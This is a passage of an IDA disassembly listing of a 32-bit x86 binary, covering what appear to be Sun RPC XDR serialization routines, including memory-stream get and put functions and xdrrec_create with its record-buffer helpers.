		push	ebx
		push	esi
		call	sub_0_8065120
		jmp	short loc_0_80653D6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80653C0:				; CODE XREF: sub_0_8065304+62j
		call	free(ebx)
		mov	dword ptr [edi], 0

loc_0_80653CC:				; CODE XREF: sub_0_8065304+23j
					; sub_0_8065304+6Aj
		mov	eax, 1
		jmp	short loc_0_80653D6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80653D4:				; CODE XREF: sub_0_8065304+44j
					; sub_0_8065304+50j ...
		xor	eax, eax

loc_0_80653D6:				; CODE XREF: sub_0_8065304+BAj
					; sub_0_8065304+CDj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065304	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [ebp+0Ch]
		push	0FFFFFFFFh
		push	eax
		push	edx
		call	sub_0_8065304
		test	eax, eax
		jnz	short loc_0_80653FC
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80653FC:				; CODE XREF: .text:080653F4j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065408	proc near		; CODE XREF: sub_0_8063B04+17Ep
					; sub_0_80641C8+158p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		mov	eax, [ebp+arg_C]
		mov	[edx], eax
		mov	dword ptr [edx+4], offset off_0_8079240
		mov	[edx+10h], ecx
		mov	[edx+0Ch], ecx
		mov	[edx+14h], ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065408	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065434	proc near		; DATA XREF: .data:0807925Co
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065434	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_806543C	proc near		; DATA XREF: .data:08079240o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	eax, [edx+14h]
		add	eax, 0FFFFFFFCh
		mov	[edx+14h], eax
		js	short loc_0_806546C
		mov	eax, [edx+0Ch]
		mov	eax, [eax]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[ecx], eax
		add	dword ptr [edx+0Ch], 4
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806546C:				; CODE XREF: sub_0_806543C+12j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806543C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065474	proc near		; DATA XREF: .data:08079244o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		add	eax, 0FFFFFFFCh
		mov	[ecx+14h], eax
		js	short loc_0_80654A4
		mov	eax, [ecx+0Ch]
		mov	edx, [edx]
		xchg	dl, dh
		ror	edx, 10h
		xchg	dl, dh
		mov	[eax], edx
		add	dword ptr [ecx+0Ch], 4
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80654A4:				; CODE XREF: sub_0_8065474+12j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065474	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80654AC	proc near		; DATA XREF: .data:08079248o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebx+14h]
		sub	eax, esi
		mov	[ebx+14h], eax
		js	short loc_0_80654DC
		call	memmove2([ebx+0Ch],edx,esi)
		add	[ebx+0Ch], esi
		mov	eax, 1
		jmp	short loc_0_80654DE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80654DC:				; CODE XREF: sub_0_80654AC+16j
		xor	eax, eax

loc_0_80654DE:				; CODE XREF: sub_0_80654AC+2Bj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80654AC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80654E8	proc near		; DATA XREF: .data:0807924Co

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebx+14h]
		sub	eax, esi
		mov	[ebx+14h], eax
		js	short loc_0_8065518
		call	memmove2(edx,[ebx+0Ch],esi)
		add	[ebx+0Ch], esi
		mov	eax, 1
		jmp	short loc_0_806551A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065518:				; CODE XREF: sub_0_80654E8+16j
		xor	eax, eax

loc_0_806551A:				; CODE XREF: sub_0_80654E8+2Bj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80654E8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065524	proc near		; DATA XREF: .data:08079250o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+0Ch]
		sub	edx, [eax+10h]
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065524	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065538	proc near		; DATA XREF: .data:08079254o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		add	eax, [edx+10h]
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+14h]
		cmp	eax, ecx
		jg	short loc_0_8065560
		mov	[edx+0Ch], eax
		sub	ecx, eax
		mov	[edx+14h], ecx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065560:				; CODE XREF: sub_0_8065538+14j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065538	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065568	proc near		; DATA XREF: .data:08079258o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		xor	ecx, ecx
		cmp	[eax+14h], edx
		jl	short loc_0_8065581
		sub	[eax+14h], edx
		mov	ecx, [eax+0Ch]
		add	[eax+0Ch], edx

loc_0_8065581:				; CODE XREF: sub_0_8065568+Ej
		mov	eax, ecx
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065568	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065588	proc near		; CODE XREF: sub_0_80658B4+2Cp
					; sub_0_806597C+50p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		cmp	[ebp+arg_4], 1
		jnz	short loc_0_806559D
		mov	eax, 80000000h

loc_0_806559D:				; CODE XREF: sub_0_8065588+Ej
		mov	ebx, [esi+10h]
		sub	ebx, [esi+18h]
		add	ebx, 0FFFFFFFCh
		mov	edx, [esi+18h]
		or	eax, ebx
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[edx], eax
		mov	ebx, [esi+10h]
		sub	ebx, [esi+0Ch]
		push	ebx
		mov	eax, [esi+0Ch]
		push	eax
		mov	eax, [esi]
		push	eax
		mov	eax, [esi+8]
		call	eax
		cmp	eax, ebx
		jnz	short loc_0_80655E4
		mov	eax, [esi+0Ch]
		mov	[esi+18h], eax
		mov	ecx, [esi+0Ch]
		add	ecx, 4
		mov	[esi+10h], ecx
		mov	eax, 1
		jmp	short loc_0_80655E6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80655E4:				; CODE XREF: sub_0_8065588+41j
		xor	eax, eax

loc_0_80655E6:				; CODE XREF: sub_0_8065588+57j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065588	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80655F0	proc near		; CODE XREF: sub_0_8065634+19p
					; sub_0_80656E8+18p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+30h]
		and	eax, 3
		mov	ebx, [esi+28h]
		add	ebx, eax
		mov	edx, [esi+24h]
		sub	edx, eax
		mov	eax, edx
		push	eax
		push	ebx
		mov	eax, [esi]
		push	eax
		mov	eax, [esi+20h]
		call	eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_8065628
		mov	[esi+2Ch], ebx
		add	ebx, eax
		mov	[esi+30h], ebx
		mov	eax, 1
		jmp	short loc_0_806562A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8065628:				; CODE XREF: sub_0_80655F0+27j
		xor	eax, eax

loc_0_806562A:				; CODE XREF: sub_0_80655F0+36j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80655F0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065634	proc near		; CODE XREF: sub_0_8065698+11p
					; sub_0_8065910+44p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_8]

loc_0_8065640:				; CODE XREF: sub_0_8065634+23j
					; sub_0_8065634+4Fj
		test	esi, esi
		jle	short loc_0_8065688
		mov	ebx, [edi+30h]
		sub	ebx, [edi+2Ch]
		jnz	short loc_0_8065660
		push	edi
		call	sub_0_80655F0
		add	esp, 4
		test	eax, eax
		jnz	short loc_0_8065640
		xor	eax, eax
		jmp	short loc_0_806568D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065660:				; CODE XREF: sub_0_8065634+16j
		mov	eax, esi
		cmp	esi, ebx
		jle	short loc_0_8065668
		mov	eax, ebx

loc_0_8065668:				; CODE XREF: sub_0_8065634+30j
		mov	ebx, eax
		call	memmove2([edi+2Ch],arg_4,ebx)
		add	[edi+2Ch], ebx
		add	[ebp+arg_4], ebx
		sub	esi, ebx
		jmp	short loc_0_8065640
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065688:				; CODE XREF: sub_0_8065634+Ej
		mov	eax, 1

loc_0_806568D:				; CODE XREF: sub_0_8065634+27j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065634	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065698	proc near		; CODE XREF: sub_0_8065910+21p
					; sub_0_8065B2C+2Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_0_8065634
		test	eax, eax
		jz	short loc_0_80656DC
		mov	eax, [ebp+var_4]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[ebp+var_4], eax
		mov	edx, eax
		shr	edx, 1Fh
		mov	[ebx+38h], edx
		mov	edx, [ebp+var_4]
		and	edx, 7FFFFFFFh
		mov	[ebx+34h], edx
		mov	eax, 1
		jmp	short loc_0_80656DE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80656DC:				; CODE XREF: sub_0_8065698+18j
		xor	eax, eax

loc_0_80656DE:				; CODE XREF: sub_0_8065698+40j
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065698	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80656E8	proc near		; CODE XREF: sub_0_8065B2C+11p
					; .text:08065B99p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]

loc_0_80656F3:				; CODE XREF: sub_0_80656E8+22j
					; sub_0_80656E8+37j
		test	ebx, ebx
		jle	short loc_0_8065724
		mov	eax, [esi+30h]
		sub	eax, [esi+2Ch]
		jnz	short loc_0_8065710
		push	esi
		call	sub_0_80655F0
		add	esp, 4
		test	eax, eax
		jnz	short loc_0_80656F3
		xor	eax, eax
		jmp	short loc_0_8065729
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8065710:				; CODE XREF: sub_0_80656E8+15j
		mov	edx, ebx
		cmp	ebx, eax
		jle	short loc_0_8065718
		mov	edx, eax

loc_0_8065718:				; CODE XREF: sub_0_80656E8+2Cj
		mov	eax, edx
		add	[esi+2Ch], eax
		sub	ebx, eax
		jmp	short loc_0_80656F3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065724:				; CODE XREF: sub_0_80656E8+Dj
		mov	eax, 1

loc_0_8065729:				; CODE XREF: sub_0_80656E8+26j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80656E8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065734	proc near		; CODE XREF: sub_0_8065750+22p
					; sub_0_8065750+2Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 63h
		ja	short loc_0_8065744
		mov	eax, 0FA0h

loc_0_8065744:				; CODE XREF: sub_0_8065734+9j
		add	eax, 3
		and	al, 0FCh
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065734	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065750	proc near		; CODE XREF: sub_0_8063B04+1E7p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		call	malloc(68)
		mov	ebx, eax
		call	sub_0_805E954
		test	ebx, ebx
		jz	short loc_0_806579B
		push	esi
		call	sub_0_8065734
		mov	esi, eax
		mov	[ebx+3Ch], esi
		push	edi
		call	sub_0_8065734
		mov	edi, eax
		mov	[ebx+40h], edi
		call	malloc(lea[edi+esi+4])
		mov	[ebx+4], eax
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_0_80657C4

loc_0_806579B:				; CODE XREF: sub_0_8065750+1Fj
		push	offset aOutOfMemory_2 ;	"out of	memory"
		push	1
		push	0Ah
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		call	fprintf(unk_80787a4,'xdrrec_create: %s\n')
		jmp	short loc_0_806583E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80657C4:				; CODE XREF: sub_0_8065750+49j
		mov	eax, [ebx+4]
		mov	[ebx+0Ch], eax
		test	al, 3
		jz	short loc_0_80657D9
		lea	esi, [esi]

loc_0_80657D0:				; CODE XREF: sub_0_8065750+87j
		inc	dword ptr [ebx+0Ch]
		test	byte ptr [ebx+0Ch], 3
		jnz	short loc_0_80657D0

loc_0_80657D9:				; CODE XREF: sub_0_8065750+7Cj
		mov	edx, [ebx+0Ch]
		add	edx, esi
		mov	[ebx+28h], edx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+4], offset off_0_8079260
		mov	[edx+0Ch], ebx
		mov	edx, [ebp+arg_C]
		mov	[ebx], edx
		mov	edx, [ebp+arg_10]
		mov	[ebx+20h], edx
		mov	edx, [ebp+arg_14]
		mov	[ebx+8], edx
		mov	eax, [ebx+0Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+0Ch]
		mov	[ebx+18h], eax
		add	dword ptr [ebx+10h], 4
		add	[ebx+14h], esi
		mov	dword ptr [ebx+1Ch], 0
		mov	[ebx+24h], edi
		mov	eax, [ebx+28h]
		mov	[ebx+30h], eax
		mov	eax, edi
		add	eax, [ebx+30h]
		mov	[ebx+30h], eax
		mov	[ebx+2Ch], eax
		mov	dword ptr [ebx+34h], 0
		mov	dword ptr [ebx+38h], 1

loc_0_806583E:				; CODE XREF: sub_0_8065750+6Fj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065750	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065848	proc near		; DATA XREF: .data:08079260o

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edx, [ebx+0Ch]
		mov	ecx, [edx+2Ch]
		cmp	dword ptr [edx+34h], 3
		jbe	short loc_0_8065884
		mov	eax, [edx+30h]
		sub	eax, ecx
		cmp	eax, 3
		jbe	short loc_0_8065884
		mov	eax, [ecx]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[esi], eax
		add	dword ptr [edx+34h], 0FFFFFFFCh
		add	dword ptr [edx+2Ch], 4
		jmp	short loc_0_80658A4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065884:				; CODE XREF: sub_0_8065848+18j
					; sub_0_8065848+22j
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_0_8065910
		test	eax, eax
		jnz	short loc_0_8065898
		xor	eax, eax
		jmp	short loc_0_80658A9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8065898:				; CODE XREF: sub_0_8065848+4Aj
		mov	eax, [ebp+var_4]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[esi], eax

loc_0_80658A4:				; CODE XREF: sub_0_8065848+37j
		mov	eax, 1

loc_0_80658A9:				; CODE XREF: sub_0_8065848+4Ej
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065848	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80658B4	proc near		; DATA XREF: .data:08079264o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [eax+0Ch]
		mov	edx, [ebx+10h]
		mov	eax, edx
		add	eax, 4
		mov	[ebx+10h], eax
		cmp	[ebx+14h], eax
		jnb	short loc_0_80658F7
		add	dword ptr [ebx+10h], 0FFFFFFFCh
		mov	dword ptr [ebx+1Ch], 1
		push	0
		push	ebx
		call	sub_0_8065588
		test	eax, eax
		jnz	short loc_0_80658F0
		xor	eax, eax
		jmp	short loc_0_8065907
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80658F0:				; CODE XREF: sub_0_80658B4+33j
		mov	edx, [ebx+10h]
		add	dword ptr [ebx+10h], 4

loc_0_80658F7:				; CODE XREF: sub_0_80658B4+1Cj
		mov	eax, [esi]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[edx], eax
		mov	eax, 1

loc_0_8065907:				; CODE XREF: sub_0_80658B4+37j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80658B4	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065910	proc near		; CODE XREF: sub_0_8065848+43p
					; DATA XREF: .data:08079268o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		mov	esi, [eax+0Ch]

loc_0_806591F:				; CODE XREF: sub_0_8065910+2Bj
					; sub_0_8065910+58j
		test	edi, edi
		jz	short loc_0_806596C
		mov	ebx, [esi+34h]
		test	ebx, ebx
		jnz	short loc_0_8065944
		cmp	dword ptr [esi+38h], 0
		jnz	short loc_0_806593D
		push	esi
		call	sub_0_8065698
		add	esp, 4
		test	eax, eax
		jnz	short loc_0_806591F

loc_0_806593D:				; CODE XREF: sub_0_8065910+1Ej
					; sub_0_8065910+4Ej
		xor	eax, eax
		jmp	short loc_0_8065971
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065944:				; CODE XREF: sub_0_8065910+18j
		mov	eax, ebx
		cmp	edi, ebx
		jnb	short loc_0_806594C
		mov	eax, edi

loc_0_806594C:				; CODE XREF: sub_0_8065910+38j
		mov	ebx, eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		push	esi
		call	sub_0_8065634
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_0_806593D
		add	[ebp+arg_4], ebx
		sub	[esi+34h], ebx
		sub	edi, ebx
		jmp	short loc_0_806591F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806596C:				; CODE XREF: sub_0_8065910+11j
		mov	eax, 1

loc_0_8065971:				; CODE XREF: sub_0_8065910+2Fj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065910	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

